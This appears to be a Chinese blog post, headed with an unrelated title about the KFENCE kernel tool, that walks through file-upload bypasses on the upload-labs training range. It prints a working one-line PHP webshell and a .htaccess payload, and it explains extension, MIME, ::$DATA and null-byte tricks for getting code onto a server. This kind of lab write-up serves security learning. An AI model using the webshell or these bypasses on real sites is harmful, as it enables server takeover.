核心記憶體錯誤檢測工具KFENCE
阿新 • • 發佈:2021-12-01
檔案上傳
目的:獲取webshell
一句話木馬
<?php
@eval($_POST['cmd']);
phpinfo();
?>
檔案上傳流程
客戶端:選擇傳送檔案->伺服器接受->網站程式判斷->臨時檔案->移動到指定程式
伺服器端:接收到資源程式
網站常用字尾名,網站都會當成php去執行
php
php3
php5
phtml
asp
asa
cdx
cer
aspx
ashx
shtml
過濾字尾時:
1.雙寫繞過:pphphp
2.大小寫繞過:pHP(windows系統)
以uploadlab靶場為例
uploadlab/Pass-01
防禦:前端做限制,只能上傳jgp,png,gif檔案
1.在前端用要求的格式(jpg等)上傳,抓包後修改後綴為php
2.在前端找到圖片位置
http://192.168.223.132/uploadlab/upload/test.php
3.用蟻劍或者中國菜刀連線,密碼就是POST傳進去的cmd
PS:這裡其實GET型也可以,但是phpinfo()資料較大,可能GET會傳回來空
uploadlab/Pass-02
防禦:MIME後端驗證,沒有前端彈窗
MIME:多功能Internet郵件擴充套件,為了在傳送文字檔案時附加多媒體資料,讓郵件客戶程式能根據其型別進行處理,在HTML中通過Content-type來判定
方法:抓包,通過修改Content-type頭為 image/jpeg 進行繞過
uploadlab/Pass-03
防禦:過濾asp,aspx,php,jsp字尾的,並且大寫轉為小寫,$DATA
方法:用php5作為字尾進行上傳
PS:如果上傳成功但是返回空,就修改php配置檔案http.conf,把其中的 #AddType application/x-httpd-php .php .phtml 改為AddType application/x-httpd-php .php5 .phtml,使可以把php5檔案phtml的檔案都當作php檔案去解析
uploadlab/Pass-04
防禦:過濾所有的字尾,並且大小寫轉換,$DATA
方法:通過.htaccess配置檔案進行上傳,建立一個.htacess的txt檔案,裡面程式碼的意思是將1.jpg按照php的格式去執行,上傳時先上傳.htacess檔案,再上傳1.jpg
.htaccess:.htaccess是一個純文字檔案,裡面存放著Apache伺服器相關的一些指令,類似於Apache的站點配置檔案,只支援本目錄(/upload)可以訪問控制,url規則等
<Files "1.jpg">
SetHandler application/x-httpd-php
</Files>
uploadlab/Pass-05
防禦:過濾字尾,.htaccess方法,$DATA
方法:用窮舉的方法,只過濾了部分字尾,還有一些字尾通過大小寫轉換可以繞過,如.Php5
實戰:抓包後,可以通過爆破,將所有可能的字尾,大小寫轉換,.htaccess全部放入字典,並對字尾爆破
uploadlab/Pass-06
防禦:過濾字尾,.htaccess方法,以及轉換成小寫,$DATA
方法:抓包後,在後綴後面新增空格即可,如"1.php "
原理:讀取檔案字尾是從右往左讀取的,如果遇到空格會停下,從而達到繞過的目的,也叫"00截斷",但是如果訪問檔案的時候,windows不會解析空格
00截斷:在GET型中可以直接用%00或者空格新增到字尾,但是如果是POST型,不會被URL解碼,只能通過Burp修改hex值為00或者將%00進行解碼,即空
uploadlab/Pass-07
防禦:過濾字尾,.htaccess方法,轉換成小寫,首位去空,$DATA
方法:在php後面加點,變成"1.php."
原理:後端過濾不嚴格,利用windows特性,解析時自動去掉字尾最後的".",訪問或者蟻劍連線時"."不影響
uploadlab/Pass-08
防禦:過濾字尾,.htaccess方法,轉換成小寫,首位去空,刪除末尾的點
方法:使用::$DATA連線,即上傳檔案1.php::$DATA,但是直接訪問時需要刪掉::$DATA
原理:在windows的時候如果檔名+"::$DATA"會把::$DATA之後的資料當成檔案流處理,不會檢測字尾名,且保持::$DATA之前的檔名,他的目的就是不檢查字尾名,例如:"phpinfo.php::$DATA"Windows會自動去掉末尾的::$DATA變成"phpinfo.php"
uploadlab/Pass-09
防禦:過濾字尾,.htaccess方法,轉換成小寫,首位去空,刪除末尾的點,以及::$DATA
方法:雙寫點和空格繞過,如:"1.php. ."
原理:通過抓包後的看到後端的過濾,可以發現是先去除點,再去除空,只去除一次,所以我們再加一個點,就可以繞過,
uploadlab/Pass-10
防禦:過濾敏感詞彙
方法:發現過濾敏感,如php等,會被直接刪掉,所以反覆嘗試雙寫繞過,可以用"1.pphphp"進行繞過
uploadlab/Pass-11
防禦:在後端對檔案上傳的型別進行限制
方法:通過抓包發現可以修改儲存路徑,所以先修改檔案型別為jpg格式,但把儲存路徑設定為1.php,發現還是不行,就在後面用%00進行繞過,得到儲存路徑
uploadlab/Pass-12
防禦:在後端對檔案上傳的型別進行限制
方法:和Pass-11一樣修改jpg,修改儲存路徑為1.php%00,但是發現不行,原因是11是GET傳參,但是POST傳參不會編碼URL,所以需要將%00解碼,即空